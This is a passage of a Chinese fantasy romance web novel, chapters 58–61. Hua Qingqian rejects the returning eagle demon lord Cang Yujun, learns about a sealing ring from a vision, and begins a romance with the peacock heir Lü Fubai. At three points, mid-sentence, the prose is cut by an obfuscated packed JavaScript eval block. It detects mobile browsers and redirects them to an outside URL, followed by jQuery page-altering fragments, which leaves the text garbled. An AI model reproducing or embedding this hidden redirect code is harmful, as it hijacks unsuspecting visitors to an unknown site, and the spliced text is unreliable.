等她问起这么好吃的果糕是谁做的,他再云淡风轻地承认,宫里的果糕一直都是他亲手做的。 他想,花清浅一定会对他佩服得五体投地,说不定还会央求他与她合房。 结果她看见那荆棘果糕,却并没有露出多么欣喜若狂的表情。 她只是立在原地,淡淡地看着他说道:“今日是我与尊上成婚第三十年了。” “是啊,都过了三十年,本座就勉为其难答应与你同床——” “我没有想与尊上同床。”她唇角抽搐了一下,“我是想提醒尊上,我已做了你三十年的尊后,依照约定,你该为我取回玉京子的魂片了。” 苍御峻没有忘记,两人之间还有一桩交易。 只是他没想到,她居然这么急切想要完成这桩交易,就好像她迫不及待想要离开西陆。 想要离开他。 赭黄色眼瞳眯起,他仔细看向她,这才发现她已经脱下尊后服饰,身上穿的是她第一次来到西陆时的碧色衣裙。 心上泛起一丝恐慌,他放下荆棘果糕,强装不在意地问她:“尊后服饰呢,你怎么不继续穿了?” “我不喜欢红色衣裳。”她轻描淡写地道,“之墨又一直想要,我就把尊后服秩都送去她家了。” 那个时候,他就该明白,她已经对他生气了。 但他那时脾气更大,又听说了花清浅没有亲弟弟、玉京子其实是她情郎的流言,对她提不起好脸色,放不下身段去哄。 当然,身为妖尊,他便是再有脾气,该守的承诺也要守。 他一路臭着脸陪她去取魂片,这次他坚决不先求和,要她先解释她与玉京子的关系,可是花清浅偏生不开口,而在青逸山外围时,飞沙阵正巧挫伤了他的眼睛。 花清浅一直最爱他锐利的赭黄色鹰眼,在他的设想里,她应该会大惊失色,什么魂片、玉京子都搁置一边,先给他治受伤的眼睛。 可她没有。 她无波无澜地瞟过他滴血的眼瞳,像是一点也不心疼他受伤,更不担心他瞎眼的风险,只顾着催促道:“再快些,魂片就在那座山峰的洞府里。” 苍御峻没想到她这般狠心,一时间委屈又难过,真想死在她面前教她后悔——但后来他渐渐明白,她那其实不是狠心,而是赌气罢了。 至于最后她一拿到魂片,就把他扔在半路、要别人来陪他……其实也可以理解,毕竟他叫她那么失望,那么伤心过,她赌赌气也没什么。 他让着点她,大不了把过去的不是千倍、万倍地弥补回来,她应该就会消气的。 毕竟她这么爱他。 - 苍御峻下定决心要弥补花清浅,不是嘴上说说,为她取极光砂治伤,只是第一步而已。 不过这第一步就太难,他在星沙海深处整整蹉跎了二十年,几次濒临生死,才取到了一小捧极光砂。 极光影响下,苍御峻不知春秋,还以为花清浅跑不远,让属下将她追回来疗伤。 属下以为他死而复生,吓得脸色煞白,以头抢地,他这才得知,距他与花清浅青逸山外一别,已经过去整整二十个年头。 58. 第58章 “你什么意思,尊后不在西陆?”苍御峻听着属下的汇报,赭黄色瞳孔倏地一缩:“她去哪了?!” “尊、尊后只身前往凡间已二十载,还曾召去两只灰背山雀当男……男/宠。”属下不敢抬头,“且、且有人传言,说尊后在凡间相中了一个白脸书生,亲——” 苍御峻的脸色已经难看得想要杀人,属下极力想要收声,却已经收不住:“——亲手拟了婚契。” 他以前一心觉得尊后可怜,跟了尊上这么一位心有所属、执意守身的夫君,在得知这个消息的时候,竟觉得可怜的那人,说不定是尊上。 因为据他所知,当年尊后与尊上成婚时,好像都没有亲手拟过什么婚契。 - 苍御峻顾不得先给自己治伤,拖着受伤的翅膀寻到慕城,又辗转寻到蔗县,一条街一条街找过去,终于找到了花清浅。 只不过她身边还有一个碍眼的,将她圈在怀里的墨袍上神。 ——他必须死。 苍御峻冷冷盯住那两人的亲密姿态,疯了一样地想。 胆敢应召做她男/宠的灰背山雀,那个凡人书生,还有眼前这个面目可憎的上神。 二十年来,西陆各族都以为妖尊身陨星沙海,她伤心过度,在其他鸟族身上寻找他的影子聊以慰藉,这是人之常情,他不会怪她。 但这些不自量力碰过她的、下贱的飞禽—— 全都得死。 嗜血的阴鸷在眼底一闪而过,苍御峻把喉咙里翻涌起来的委屈强行压下,装作若无其事地看向花清浅。 “尊后,我回来了。”他放缓了声音说道。 - 对于花清浅而言,此刻莫名其妙柔情似水的妖尊,比刚出现时那个暴怒似要杀人的妖尊可怕得多。 因为她从没见过他这般模样——面对她时,苍御峻多数都是怒气冲冲,他的温柔是独属于之墨的。 久而久之,她善于应付的也是一个别扭冷硬的妖尊,二十年不见,他忽然出现在她面前,还性格大改,着实叫人害怕。 她有点怀疑他脑子坏了,但她没来得及问,因为旁边吕浮白先她一步,冷声开了口: “她不是你的尊后。” 苍御峻抿唇看向花清浅,却没有从她那张明艳依旧的小脸上找到哪怕一丝一毫的反驳之色。 满心杀伐暴戾一点点全变作恐慌,他强装镇定上前一步,唤道:“尊后……” “停停停,吕浮白说得没错,我真不是你尊后。”花清浅一个激灵,连连摆手,“别这么叫我,恶心得慌。” 听到“恶心”二字,苍御峻浑身一颤,像是被人重重打在脊椎骨上,他无论如何也没有想到,日思夜想的再次见面,花清浅对他的态度会是这样。 就算是还在赌气,可她晓得他没死,不欣喜若狂地扑进他怀里,甚至还在他面前这样护着一个外人? 他满是委屈又不解地看着她,指向吕浮白:“尊后,他是谁?” “……”说了多少遍,她不是尊后、不是尊后,这只鹞鹰还这么叫,是没长耳朵么? 花清浅有些不耐烦。 现在时移势易,她对苍御峻并无所求,又有吕浮白在,不用担心打不过他,她说话也不再客气: “记得尊上曾经说过,让我走了就别再回去。我确实不想回到你身边,但不知尊上自己来找我,闹的又是哪一出。” 说完后,她没等苍御峻的回答,拽着吕浮白就要离开。 “我、我那是气话,尊后——” 这个称呼太过刺耳,吕浮白眸子里黑沉沉的冰寒终于压抑不下。 他停住了步子。 恰好,他现在是孔雀大明王世子,杀一个擅闯过青逸山洞府的西陆妖尊,正是师出有名,恰如其分。 花清浅感觉到他猛然爆发出的危险杀意,竟像是要就地动手,忙拽住他的手臂,劝道: “苍御峻是西陆妖尊,死在此地麻烦定然不断,别跟他纠缠了,咱们回家吧。”这一神一妖打起来,不知道要拖上多久,她回去还有正事要干呢。 吕浮白凝望着她,确认她不是想保苍御峻的命,而是真的想离开,便从善如流握住她的手。 “好,回家。” 他们在大庭广众之下卿卿我我,黑衣上神宽大的手掌覆裹住花清浅白皙的手心,居然有几分相配,看得苍御峻妒火中烧。 他眸中恨意肆虐,纵身飞上去意图绞断吕浮白的胳膊,却扑了个空,只能眼睁睁看着他们消隐了身形—— 这两人术法默契得像是出自一家,速度奇快,苍御峻不知道他们离开的方向,追也追不上,一个人孤零零被甩在原地。 昔日妖尊威风不再,满目仓皇,像一只被抛弃了的可怜暴犬。 - 花清浅是真的有要紧事,一回到慕城小院,便迫不及待地将镶嵌惊鸿木的神牌摆了出来。 “我将惊鸿木完璧归赵的时候,没有看到应龙神宫的位置,但脑子里多出了一段影像。” 她说着,纤长睫毛微微低垂,半阖住暖棕色水瞳,眼前仿佛浮现了盘龙岗满是凋敝、枯草遍地的山野—— 乌云沉沉,高高的苍穹之上,一位白衣上神衣袂飘举,浑身火焰万丈,睥睨着下方。 她身侧是一位大妖,眼瞳妖异如血,毛茸茸的白耳朵垂于脑后,八成便是长耳祟煞。 两人身边还有数十位仙妖,俱是打眼一看就法力无边,气势迫人。他们周围簇拥着密密麻麻、一眼望不到边际的朱雀部族兵将,与下方众妖形成对峙之势。 一位锋利恣肆的高大男子傲然列于地上群妖之首,花清浅认了出来,他就是竹言曾画给她看过的天水妖尊。 香染站在天水身侧,仰头看着上方那位浑身冒火的白衣上神,温柔的眉目紧绷: “赵音浓,你乃是堂堂朱雀帝姬,为了一介妖尊如此费尽心思迫害下界,又是何苦?” “你给我闭嘴!”那白衣上神身上的火焰霎那间暴涨百倍,刺得人睁不开眼:“这里哪有你说话的份,别以为做了天水尊后就能妻凭夫贵!” 香染似乎颇觉好笑,唇角勾起,摇了摇头,白衣上神被她这副轻蔑神色激怒,飞得离地面近了些,方便与她对骂: “你敢看不起我——” 就在一瞬之间,香染飞快出击,死死勾缠住赵音浓,一直未出声的天水则如离弦之箭般蹿起,化身墨色应龙,直直刺进上空乌云心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725453|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹! 赵音浓想拦住他,却被香染蛇身缠着,挣脱不开,过了好一会才反应过来:“怪不得天水没说话,原来你们早就是串通好的?好啊,好一对郎情妾意,配合无间的夫妻……” “赵音浓!你还执迷不悟么?”隔着惊鸿木,花清浅也能看出香染脸上的焦急之色,还有几分恨铁不成钢的无奈: “你是朱雀帝姬,本应天性纯善,可你看看你这些日子都做了些什么?就为了惩罚天水部族,数万凡人连带着被你饿死渴死,这不是你,是那只邪魔蛊惑了你!” 赵音浓根本不听她的,狠狠挥袖打在她尾巴上,迫使她松开自己: “你一介低贱蛇族,也敢妄言我是什么本性?我可是神,没有邪魔蛊惑得了我!凭我本心,我今天就是要你死!” “众将听令!”赵音浓化为原形,朱雀鸣声尖利,震彻寰宇:“香染与天水部族不遵天道,是为反叛!天水身为神尊,仍放纵妖族伤人,是为管教不力!” “我朱雀族替天行道,今日就替天水清了这群反叛之徒!” 众仙兵遵她号令,当即齐齐向地上群妖攻了下来。术法相接的那一刻,与惊天动地般爆炸轰鸣一起发出的,还有苍穹中天水嘶哑的吼声: “这不是普通邪魔,是定法天怨!定法天怨逃脱了封印,快去请凤凰神君!” - 定法天怨这个名字,花清浅其实听过。 她跟着傅玄修炼,见识的世面不少,对各种邪物魔头都有了解。傅玄跟她讲过定法天怨的事,只是听他说来,那不过是个略为棘手些的魔君,完全不是影像中黑压压遮天蔽日的恐怖姿态。 思及傅玄,她顿了一顿,玉京子却正听得入神,忍不住催她道:“然后呢然后呢?” “然后,就是一场恶战。” 如同思竹的那张画,血泥浸染了整个盘龙岗,战况惨烈,土地上草木烧尽,变为一片凋敝的焦黑。 朱雀族天兵在人数上多出十倍有余,天水部族死伤大半,倒地不起,只剩他本人、香染与竹言苦苦支撑,拼了命阻挡苍穹那团乌云落到地上。 “……定法天怨被我爹两双翅膀缠住,我爹的心口逆鳞却也被他掀翻,眼看就要同归于尽,那只朱雀仰天长鸣,凭空召唤出一枚戒指。”花清浅阖着眼睛回忆道: “我看到朱雀催动灵力,戒指上冲出万丈幽蓝色的光焰,烧到我爹和定法天怨身上,我娘飞过去护住我爹,然后……就什么都看不见了。” 玉京子听得倒抽一口冷气:“这么说来,咱们爹娘凶多吉少啊!” “我问过天道了,他们没有死。”也正是因此,花清浅情绪还算稳定,她揉揉因长时间半垂着有些发痒的睫毛,转向吕浮白问道: “对了,你身为孔雀族世子,跟朱雀族关系也密切,可知道赵音浓那戒指的来历?” 吕浮白像是沉浸在什么思绪里,她叫了他两声,才见他回神。 “听你描述,那枚戒指应该是小混沌戒。”他看向她眼中逐渐浮现的了悟,肯定地点点头:“神君应当跟你提起过。” 花清浅想起来了:“不错,是小混沌戒!傅玄亲自从离火中炼化的神器,我说怎么看着有点眼熟呢。” 59. 第59章 《鸿蒙秘史》有云:【夫神人氏重器,以一分气力为十分,是为凡器;仙者仿之,以一分灵力为百分,是为仙器;万分,是曰神器。】 众所周知,鸟族乃是神器大户,其中大半神器都要仰赖傅玄的离火。 离火从上古燃至今日,什么天材地宝都能炼化,得出的神器威力非凡,远非其他神火可以相比; 然而,又因为傅玄常年征战,无数魑魅魍魉葬身他的离火之中,化做狰狞的戾魂,是故离火炼化的神器凶性极强,常人不好把握。 譬如云廷玉城的护城玉,就是老城主借来离火后炼化,其上戾气缠绕,圣女至今也不能接下。 在长生界时,花清浅对神器十分好奇,傅玄曾为她一一介绍过。 “傅玄亲自炼化的神器很少,小混沌戒乃是其中之一。”她对满头雾水的玉京子解释道: “千年前恶兽泛滥,有种恶兽专吞鸟蛋,傅玄便炼化了这枚戒指,交给鸟族各大部落,以镇压恶兽,保护后裔。” 因为本意不在杀伐,而在守护,此戒以中正柳木为材,火候也很克制,刚出巢的幼鸟都能使用。 “小混沌戒能在虚空里开辟小世界,把人关进去封印,任你有天大的法力也逃不脱。为了防止幼鸟误用此戒,酿成大错,这戒指上还有打开封印的法门,只是一般鸟族不知道。” 玉京子愕然:“一般鸟族都不知道,那你怎么知道?” “傅玄告诉我的。” “啊,这算是鸟族秘辛了吧,他连这都跟你说啊?” 花清浅没有答话,吕浮白看着她微颤的纤长睫毛,轻声说道:“他说的这些,你竟到今日都记得这么清楚。” “呃,你别误会。”花清浅听他这话泛酸,竟没来由感到一丝心虚,解释道: “那时我以为这小混沌戒是、是傅玄做给云廷玉城圣女的,所以格外在意,刨根问底……到今日还记得,无非是因为我吃醋吃得太狠,想忘也忘不掉。” 没想到她还吃过这种醋。 当初他对她有多冷淡,才让她生出如此根深蒂固的误会。 吕浮白心里一痛,眸色渐深,花清浅以为他不信,画蛇添足道: “真的,这么多年过去,连跟苍御峻吵的每一场架我都记得清清楚楚,我纯粹是心眼子小,跟傅玄没有半点干系!” 听着她的解释,吕浮白沉默许久,轻抬起手,抚了抚她无辜清澈的眉眼。 “那就试着忘了。”他声音很低,只有她一个人听得清楚,“前尘不堪,于你都是负累……今后活在当下,清浅,试着把以前都忘了罢。” 花清浅还没来得及答应,旁边纳闷半天的玉京子忍不住上前插话:“不是,你们说什么呢,什么苍御峻,清浅不是不喜欢提到西陆妖尊吗?小混沌戒跟他有什么关系?” “没、没有关系,是我跑题了。”花清浅这才发现玉京子还在,赶紧拉下吕浮白的指尖,咳嗽几声: “说回小混沌戒,咳咳,我只知道恶兽逐渐被消灭后,傅玄并没有收回这枚戒指,仍由鸟族各部落轮流供奉,以示对他的感恩和尊崇——却不知道现在具体轮到了哪一族。” “该是昆仑鸟族。”吕浮白道。 她惊讶抬起眼帘:“你怎么知道?” “……我也对此类神器颇为好奇,是神君告诉我的。” 关于凤凰神君,他的情报倒像是比她还多。正好花清浅想起一件事,顺便问了句:“对了,傅玄长生界的山巢内放了好多神器,你看过么?” “看过。”一提起山巢,他就知道她要问什么,心跳都悄悄加快了些。 果然,她下一句便是:“乾位房间里那个灰扑扑的、像水壶一样的神器,你知道是什么吗?” “那是榠壶,里面装有六界火种。”尽管心间惊涛骇浪,他声音仍平稳无比,没有露出一丝破绽,“一旦倾翻,本世界会立刻坍缩消弭,乃至万劫不复。” 花清浅恍然大悟地点点头。 “原来干系如此重大,难怪他要舍下我去救。”她彻底心悦诚服,“他做得对,能活万民,死我一蛇本就是应该的。” “……他没有舍下你。” “啊?” “神君同我说过,当年他没有舍下你。他舍不得的——”他声音一颤,很快又冷静下来: “——当年为护你周全,他提前在你身上放了纸分身,缇阎本就伤不到你分毫。” 花清浅闻言怔住。 傅玄为她思虑如此周全,她真的一点也不知道。 可是那个时候,就算她知道,就算她能察觉那只纸鸟……以她的性子,估计还是会离开他身边,只是手段不会那样激烈而已。 喜欢一个神君实在太累,更别提玉京子刚刚因为这份喜欢葬身,她太迫切想要断情,可是人心不受自己控制,在傅玄身边,她就没办法不喜欢他。 所以她只能离开。 见她良久没有说话,吕浮白也没有多补充什么。 能解开误会已经很好,他不再妄想她会原谅傅玄。他垂下眸子,温声转移话题:“清浅,你想何时动身取戒?” “事不宜迟,明日就走。”花清浅很快收拾好思绪说道,“而且我与鸟族非亲非故,这次恐怕还要麻烦你陪我走一趟。” 去昆仑山讨小混沌戒,与之前几次积攒天道功德可不一样。 此前他帮她的忙,功德也会分给他一部分,可这次她纯粹要利用他孔雀世子的身份,却暂时想不出什么可以回报,故而语气有些忐忑。 “好。”吕浮白抬起头,定定地看着她,“只要你答应我一个条件。” “什么条件?” “你要告诉我,在西陆时,那个妖尊是不是对你不好。”他克制着眼底汹涌的杀意,安静地问她。 “他是不是,让你受了许多委屈?” 那何止是委屈。 在西陆的那段日子,回忆起来总是漫长的阴雨天,只有两三天放晴,可偏偏就是那放晴的两三天,叫人舍不得将下雨的苍穹轰烂。 与苍御峻的往事说来话长,花清浅本想敷衍过去,可是与吕浮白沉静如万年寒井的眸子对上,看清其中的护短之意,她又莫名涌上一股倾诉欲。 “其实,一开始我没打算在西陆久留——” 玉京子去房间收拾行李的步子慢了下来,转弯到厨房拿来一盘水果,咔嚓咔嚓啃起桃子,俨然一副听故事的姿态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729240|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“——进苍御峻宫里,真的是一个意外。” 花清浅也拈了枚地禾角送进嘴里,脆甜的口感叫她眯起水眸,全然没有注意到,有一抹黑影悄悄附在了小院的玉兰树梢。 鹞鹰的悬停又稳又轻,几乎没有声响,但吕浮白还是捕捉到了一瞬间的气流波动。 他眸光微闪,并没有出手,由着花清浅继续说下去。 - 苍御峻双爪攀着玉兰树枝,花清浅好像很喜欢这种花树,他不敢太用力,只能维持着这个别扭的姿势看向花清浅。 二十年不见,她还是这样好看,穿着藕荷色双绣累珠薄云纱衣,举止从容,言笑晏晏,像这春日里最漂亮的一朵嫩蕊。 可是她身边的人,不再是他,她全心全意望着的人,也不再是他,她宁愿跟这个野男人上神来凡间小院,也不愿做他的尊后—— 他死死盯着她身边的男人,迫人的鹰眼一眨不眨,戾气油然而生,几乎要化为实体,呼啸着将整座院子掀翻。 直到他听见花清浅接下来的话。 “苍御峻的娘亲待我很好,为了讨她喜欢,苍御峻也便待我很好。可我不知道,还以为他是真的待我好……” 一开始说得好好的,做尊后只是一场交易。但婚后她与他一同议事宫中,一同侍奉娘亲,一同主持祭天,日日相伴,也难免生出了几分亲厚。 从前,因苍御峻生性冷傲,不苟言笑,很有些喜怒无常的暴君风范,动不动就会罚内侍生受悬崖急流,宫人给他送东西时,内部都会百般推脱,选出最倒霉的那个去冒险。 可自从有花清浅陪着他,就再没有内侍被他罚过。 宫人暗地里都说,尊后是西陆之幸,花清浅听得多了,也觉得苍御峻似乎待她真的有所不同。 终于在那一晚,他带她飞上苍穹沐浴极光,群星璀璨,他捧着她的脸,情难自禁般在她耳边喃喃:“花清浅,做我真正的尊后吧。” 那时候,花清浅还是条不长记性、执着生蛋的小花蛇。 她想,西陆妖尊的娘待她不错,妖尊修为高,人长得又俊,既然他主动求偶,她就在这里安定下来也不错。 “不过幸好,我也只是心动了一点点、一点点而已。” 苍御峻娘亲死后不久,之墨回到西陆,来拜见新晋尊后的第一句话,就是要她认清楚自己的身份。 “你不过是我的替身,趁我不在,居然鸠占鹊巢。”那条黑花蛇身姿曼妙,对着她吐了吐信子,敌意浓得呛人,丝毫没有掩饰,“苍御峻爱的人是我,你信不信,这个尊后之位迟早是我的!” 撂下话后,她停在原地,傲然看着花清浅。 身旁的宫人纷纷义愤填膺,指责她以下犯上,不敬尊后,合该受斩尾之刑。 之墨挑衅的姿态底气十足,一看就是有人在背后撑腰,故意激怒她降罚。这么明显的坑,花清浅当然没有跳,她对上黑花蛇的视线,语气漠然道:“我不会罚你。” “苍御峻爱你,我信。你若也爱他,就自请入宫做侧妃,我批。你们鸳鸯无双,我可以不掺合。”她补充道:“但这个尊后之位,我坐定了。” “你若实在想要,我只有三十年后,才能给你。” 60. 第60章 前有各部族虎视眈眈,后有黑花蛇来者不善,花清浅这才觉悟,尊后之位不好坐。 但不好坐也得坐,此前她跟苍御峻签过契约,做他三十年尊后,换他取回玉京子魂片。契约白纸黑字,更改不得,三十年就是三十年,一天也不能少。 前路再艰难,她也只有硬着头皮闯下去。 她不想与之墨为敌,便主动与苍御峻商量,让他跟那黑花蛇把话说开。 “我瞧着,那小花蛇像是吃醋了,以为我们有夫妻之实。你跟她好好解释一下,以后让她进宫也好,出宫私会也罢,我都不会干涉。” 她心平气和,没有说之墨坏话,也没有发脾气,自认将一个贤明大方的尊后扮演到了极致。 可苍御峻还是能挑出错来。 “你让本座跟她私会?”他一下子瞪起双眼,仿佛她说了什么大逆不道的事情,“本座要是真有这个心思,早就把你废了,你以为你还能安安稳稳做这个尊后?!” 花清浅忍不住提醒他:“尊上娘亲离世前曾下令,不准无故废后,我从无错处,尊上废不了我。” “你!”苍御峻被她气得青筋暴起,指着她结巴了半天,不知道说什么,发狠说了句“本座这就去找之墨!”便猛地变做原形,冲出了寝宫。 大殿之上。 苍御峻黑着一张俊脸,周身气息沉郁,阴森森向臣属们发问。 “尊后为何会叫本座纳妃,过了这么久,你们还是没点头绪么?” 身边成婚最早的属下被推举出来,颤颤巍巍地道:“禀、禀尊上,依属下之见,尊后这或许说的是、是反话。” “哦?” “女、女子都是这样的,属下自个的媳妇也常常阴阳怪气,说我再看一眼路边的野花,就把那花精娶回去得了。”属下见他那股吓人的气势稍歇,松了口气: “可属下知道,她最口是心非,要是属下真敢动那个心思,她一定会追杀我到天涯海角!” 苍御峻嗤笑一声:“呵,原来如此。” 他就说嘛,尊后对他爱得死去活来,怎么舍得让他纳别人为妃? 原来是欲擒故纵。 “尊后这心眼也忒小了点,赌气就罢了,怎么还跟本座玩这种把戏。”他敲了敲王座,心情愉快起来:“不过,这也是她在意本座的缘故,这次本座就不罚她了。” “那属下告退——” “等等。” 属下绝望地停住脚步。 “你成婚多年,应该有……有哄媳妇的经验,写上几条送过来。”王座上的男人状似漫不经心地道,“尊后性情娇纵,本座今日高兴,勉强哄她一哄。” 属下给出的第一条经验,便是投其所好,女子喜欢什么,就送她什么,亲手做的最佳。 苍御峻知道,尊后喜欢吃荆棘果,尤其爱荆棘果糕。他从不屑于做糕点,但那日他还是偷偷溜进了厨房,威逼厨子将糕点方子默给他,他自己学。 做好一份之后,他先尝了尝,觉得跟以前厨子本人做的没什么差别,才大手一挥,叫宫人给尊后送去。 他站在尊后寝宫窗外,看她一面生闷气,一面将一整块果糕塞进嘴里,撑得两颊鼓鼓囊囊,愈发显得白嫩好捏,不由露出一丝微不可见的笑意。 “小贪吃蛇。”他说,语气里有着自己都没发觉的宠溺,把旁边宫人吓了一大跳。 - 苍御峻在花清浅背后搞的这些小心思,她当然一点都不知道。 说起之墨,她只有满肚子的怨念:“那蛇妖说我是她的替身,我简直都怀疑妖尊的眼睛——我跟她到底哪里像了?” “她眼尾是黑的,我眼尾是红的,她是黑底花蛇,我是白底花蛇,花色也不一样!她的花纹是绿色,我的是褐蓝色,她哪有我漂亮?” “这也就算了,各花入各眼,妖尊那厮审美独特,说不定还真觉得她更漂亮。” 院子里的树上发出一阵响动,估计是哪只笨鸟没抓好树枝,她没有理会。 “但关键是,之墨心思不纯,她与外族勾结,欲要祸害西陆——这很容易看出来的呀!我查出证据,向他谏言,他却觉得我在吃醋……我真的无话可说。” “更别提之墨每次陷害我,他都默认纵容她,导致她胆子越来越大,最后一次直接领人冲进我的寝宫,我差点交代在那!” “……苍御峻就是这么人傻眼瞎,但有一点还是好的,便是他遵守诺言,帮我取回了玉京子的魂片。” 见吕浮白眼底冰寒一片,像是下一刻就要返回蔗县取苍御峻项上人头,她想了想,搬出傅玄的话安抚道: “凤凰神君曾经说过,满心杀伐,道心不稳,何以飞升?我觉得有几分道理,杀伐太过是会影响道心的,你身上杀气太重,可得注意着点。” 吕浮白静静道:“你不想让我杀了他。” “……嗯。苍御峻到底于我和玉京子有恩,其他的那些事,忍过去就算啦。” 吕浮白想说,他已经明白,有些气是忍不下的,她不必忍。却听她语锋一转,轻快地道: “再者说了,为苍御峻这种蠢货沾上杀孽,根本不值得嘛。” 于是他生生压抑住满腔杀意,转向窗外,给了树上那只鹞鹰最后一个眼神。 ——识相点,自己滚。 - 窗外的玉兰树上,苍御峻眼巴巴地望向花清浅,阴鸷不羁的一双赭黄眼瞳竟显出几分可怜。 他一心等着她说他做的荆棘果糕,说他带她看过的烂漫星云,说她治下欣欣向荣的西陆风月,以吓退那个明显在开屏求偶的孔雀上神。 可她没有。 在她的记忆里,西陆像是只有数不尽的苦楚,受不完的委屈,他苍御峻则是面目可憎、是非不分的昏君,在他身边多呆一刻都是煎熬。 苍御峻看着她嫩如春蕊的红唇一张一合,吐出的词句字字往他心窝里戳,终于意识到一个惊心怵目的事实。 原来她对他这么失望。 他趾高气昂的脑袋慢慢垂下,每一根羽毛都紧绷到极致,在她说出“根本不值得”的时候,整只鹰彻底僵在树上。 一袭黑衣的孔雀上神转过头来,不偏不倚对上他的目光,眸中狠厉,苍御峻一下子明白:这孔雀上神早就发现他了,他是故意叫他听见花清浅这番话的。 这只孔雀想兵不血刃地赶跑他! 好卑鄙的孔雀! 他好不容易才认清此生挚爱,陪他走过三十年风雨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733233|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花清浅,眼下一颗小痣勾魂摄魄的花清浅,把西陆打理得井井有条的花清浅,眼下却在那只孔雀身边,还对他不屑一顾—— 自打出世起,苍御峻还没有尝过这么憋屈的滋味。 他一口白牙快要咬碎,隔着树枝,阴暗地盯着花清浅与那只卑鄙孔雀的动作,双目逐渐泛出赤红。 暴戾的气息弥漫在院子里,屋内花清浅却丝毫没有察觉。 她回忆完往事,想到以后再也不用曲意逢迎那头瞎眼鹞鹰,简直神清气爽。 趁着玉京子回屋收拾行李,她拉住吕浮白,叫他凑近一点。 “你是喜欢我的吧?”她问。 吕浮白坦然点了点头。 “按你的说法,我可算是你们鸟族老祖宗的‘亡妻’呢。”她调侃道,“你连傅玄的墙角都敢挖?” 眸中忽然稍黯,他看着她,轻声道:“你又不喜欢神君。” “唔,那倒也是。”花清浅说,“行吧,反正我与他再无干系,那我们就试试。” 遍历过情爱苦楚,她本来打算要拒绝他的,可方才在蔗县看到小兔子安安和那位凡人木匠,一妖一人在一起的景象那般和谐美好,她又燃起了那么点艳羡。 吕浮白看起来跟傅玄一样,是个好人,就算这事最终没成,他们大概也能好聚好散。 所以就试试吧。 试一试,反正也不会比从前更差了。 “……你说什么?”吕浮白好似长期罹受酷刑的死囚般,乍然得知刑罚将要结束,第一反应却是不敢相信。 从前他负了她一腔深情,如今她身边狂蜂浪蝶良多,他也只有生生受着,像是一场漫长的凌迟。 本以为要再熬过许多个东方容楚,冥冥轮回对他的惩罚才能结束,哪怕在他心碎消亡之前,花清浅能冲他回眸一笑,他便也算心满意足了。 没有想到,她竟然对他这么好—— “你不想试啊?那就算啦。”花清浅看他半天没缓过劲来,逗他佯装要走,被他一把拉进怀里抱住。 “清浅……”他指尖理顺她耳畔碎发,小心翼翼托着她后颈,似有些发颤的声音同温热的呼吸一齐逼近她,“谢谢你。” “我只说试一试,又不是救了你的命,说什么谢字?”花清浅颈窝被他弄得微微发痒,有些不自在地动了动。 可她不知道,这跟救了他一命没有区别。 吕浮白眸子里笑意铺陈,冷寂驱散,把她搂得更紧了些。 这孔雀世子忒会得寸进尺,才刚开始就敢上手,花清浅可没想被他紧紧抱住不放,正要喊他放开,却被他那只手在颈脖乃至后背轻柔抚过,舒服得全身鳞片都服帖下来。 她索性软了骨头赖在他怀里,享受他温柔的爱抚,忍不住发问:“哎,你以前是不是养过蛇?” 须知蛇与狸奴、狐狸乃至兔子都不同,不是随便什么人都一上来就会摸的,可他揉她后颈的动作却如此娴熟,仿佛提前练习过千百遍。 若不是之前养过蛇,那便是他天赋异禀,天生就该来给蛇顺鳞的。 品出她话里三分酸意,吕浮白声音更加温和,说道:“没有,只养过你一条蛇。” 今生今世,他有这么一条小花蛇就够了。 61. 第61章 “既然决定了试一试,我就认真了啊。” 花清浅语带撒娇,在他怀里眯着眼睛点点他的胸膛。 吕浮白说好。 “你父王可能会看不惯我,到时候你得站在我这边。” 吕浮白不假思索地说好。 “对了,你在青逸山有没有什么白月光、朱砂痣之类的?趁早交代清楚,免得麻烦。” “没有。” “……”花清浅觉得他不老实,之前他明明喜欢过一位身份高贵的年轻妖族,这会又不承认了。 她从他怀里微微挣开,睁大水眸,认真看向他深沉如井的眼底:“你放心,我虽然年轻,但情史说不准比你还丰富,绝对不会吃醋的。” 不用她说这话,吕浮白也知道,她不会吃醋。 从前那个为云廷玉城圣女纠结内耗、辗转反侧的花清浅已经不见了,她不再喜欢傅玄,当然也不关心他与何人交好。 这都是他咎由自取。 他压抑着惨淡的思绪,闭了闭眼,继续听她一本正经说道: “我不怕你有过往,只怕你跟寒春仙子对安安一样,看似对我极好,实则有天大的阴谋瞒着我。” 他心头一颤,立即澄清:“我——我对你没有阴谋,从来没有。” 听出他话中恳切,花清浅心里突然一软。 思及过往,没有及时回应她的是傅玄,伤害她的是苍御峻,抛弃她的是东方容楚,并不是吕浮白。 眼前的孔雀世子虽然面冷一些,但对她是实打实的好。 